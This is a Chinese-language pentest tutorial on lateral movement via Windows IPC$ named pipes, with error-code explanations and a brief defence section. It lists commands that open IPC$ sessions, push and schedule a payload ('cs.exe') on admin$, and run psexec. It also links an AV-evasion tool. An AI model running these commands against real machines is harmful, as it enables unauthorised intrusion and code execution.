横向移动-IPC命名管道

@wintry大约 2 分钟

IPC$概述

IPC$ 以命名管道(named pipe)的形式连接实现文件共享传输和命令执行;

根据对应IPC$共享目录的ACL权限来决定是否可写/可遍历等权限。

验证方式

1:匿名IPC$: 空连接,但是匿名IPC$的权限较低

2:非匿名IPC$: 需要帐号密码的验证

3:SMB:局域网文件传输协议 445、139、135需要打开

常见错误

错误号5(拒绝访问):非管理员权限的,权限不足

错误号51(Windows无法找到网络路径): 网络有问题

错误号1219(提供的凭据与已存在的凭据集冲突):你已经和对方建立了一个ipc$,请删除再连

错误号1326(未知的用户名或错误密码)

错误号1792(试图登录,但是网络登录服务没有启动): 目标NetLogon服务未启动(连接域控会出现此情况)

错误号2242(此用户的密码已经过期):目标有帐号策略,强制定期要求更改密码

错误号53(找不到网络路径)
  1. ip地址错误

  2. 目标未开机

  3. 目标lanmanserver服务未启动

  4. 目标有防火墙(端口过滤)

错误号67(找不到网络名)
  1. 你的lanmanworkstation服务未启动

  2. 目标删除了ipc$

攻击利用

#建立空连接
net use [\\IP地址\IPC$](file://IP地址/IPC$) "" /user:"administrator"

#建立非空连接
net use [\\IP地址\IPC$](file://IP地址/IPC$) "admin@pass" /user:"administrator"
 
#查看已经建立的连接
net use
 
#上传文件
copy cs.exe [\\192.168.1.11\admin$](file://192.168.1.11/admin$)

#查看共享文件
dir [\\192.168.1.11\admin$](file://192.168.1.11/admin$) 

#查看目标系统时间
net time [\\192.168.1.11](file://192.168.1.11)

#定时执行命令
at [\\192.168.1.11](file://192.168.1.11) 10:01 [\\192.168.1.11\admin$\cs.exe](file://192.168.1.11/admin$/cs.exe) 

#删除已经建立的连接
net use [\\192.168.1.11\admin$](file://192.168.1.11/admin$) del

工具利用

psexec.exe -accepteula [\\192.168.110.130](file://192.168.110.130) cmd
psexec.exe [\\192.168.110.130](file://192.168.110.130) cmd -u administrator -p admin@pass


#msf模块
exploit/windows/smb/psexec

https://github.com/rootclay/WMIHACKERopen in new window

免杀且无需445端口的工具

防御方法

1、删除共享

net share ipc$ /delete
net share admin$ /delete
net share c$ /delete

2、停止server服务

net stop server /y
#重新启动后server服务会重新开启

3、永久关闭**ipc$**和默认共享依赖的服务

lanmanserver即server服务

打开服务(services.msc)-找到server服务禁用